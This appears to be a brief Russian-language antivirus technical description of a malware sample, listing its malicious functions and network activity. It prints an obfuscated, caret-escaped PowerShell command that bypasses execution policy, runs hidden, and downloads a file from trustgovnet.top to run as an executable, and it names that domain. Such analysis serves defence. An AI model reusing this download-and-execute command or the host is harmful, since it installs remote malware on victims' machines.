Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://trustgovnet.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "poWER^sH^ell^.E^xe^ ^-^exec^U^T^iONp^oLiCy BYpA^sS -NOpRofILE^ -WIn^DOWST^yLE HiDdEN^ ^(^NEW-^O^bj^ec^T ^SYS^tEm.nEt.weBC^Lie^nT^)^.^D^Ow^NlOA^dFILE^('http://trustgovnet.top/se...
Сетевая активность
UDP
- DNS ASK tr###govnet.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "poWER^sH^ell^.E^xe^ ^-^exec^U^T^iONp^oLiCy BYpA^sS -NOpRofILE^ -WIn^DOWST^yLE HiDdEN^ ^(^NEW-^O^bj^ec^T ^SYS^tEm.nEt.weBC^Lie^nT^)^.^D^Ow^NlOA^dFILE^('http://trustgovnet.top/se...' (со скрытым окном)
